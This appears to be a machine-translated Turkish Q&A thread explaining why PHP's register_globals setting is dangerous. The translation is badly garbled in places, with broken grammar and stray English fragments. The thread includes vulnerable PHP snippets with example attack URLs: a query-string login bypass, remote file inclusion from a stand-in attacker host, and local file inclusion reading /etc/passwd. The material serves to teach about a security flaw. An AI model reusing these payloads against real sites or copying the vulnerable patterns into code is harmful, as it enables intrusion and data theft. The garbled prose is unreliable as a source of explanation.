Ben bir PHP geliştiricisi değilim ama insanların veba falan gibi davranmak gibi yerlerde bir çift gördüm. Neden?
REGISTER_GLOBALS GET veya POST geçirilen tüm değişkenler script içinde global değişkenler olarak imal edilirler demektir. Bildirilmemiş değişkenleri erişen PHP (bir uyarı var) bir hata olmadığından, çok kötü durumlara yol açabilir. Örneğin, bu göz önünde bulundurun:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
Bu (iyi tasarlanmış kod) Bu nedenle bildirilmemiş olabilecek değişkenleri erişmek gerekir (ve olmamalıdır need REGISTER_GLOBALS aynı nedenle, uyarılar üretmek olmamalıdır başına kötü bir şey değil ), ancak PHP kodu güvenlik açıkları bu tür lider, genellikle [çok] düşük kaliteli olduğunu.
Register_globals etkinleştirilmesi bazı kötü adamlar yararlanmak için istekli olacaktır açıkları için PHP tarafından sunulan web sayfalarını ortaya koyar.
Bu URL'nin sonunda, herhangi bir sorgu dizesi ile etkin:
http://yourdomain/something.php?valid=true
something.php (örneğin) geçerli bir değişken $ değerini etkileyecek, if it exists.
Eğer kamuya açık PHP kodu (örneğin bir kütüphane) kullanıyorsanız değişkenlerin isimleri iyi bilinmektedir ve hacker sorgu dizesinde değerler atayarak kendi değerlerini kontrol etmek mümkün olacaktır. Onlar kimlik atlamak mümkün olabilir.
Eğer kamu kodu kullanarak olsanız bile, önemli değişkenlerin isimlerini tahmin etmek mümkün olabilir ve onların değerlerini kontrol edebilir.
Bu register_globals PHP.INI etkin olduğu varsayılan olarak kullanılan
Yeni uygulama varsayılan olarak devre dışı bırakmak için olmuştur. Kendi risk etkinleştirin!
Sadece eklemek için buraya REGISTER_GLOBALS etkin olan gününüzü mahvedebilir bazı durumlar şunlardır:
Using the query string to bypass access control (hack using http://example.com/?logged=1): em>
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Remote File Inclusion (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local File Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>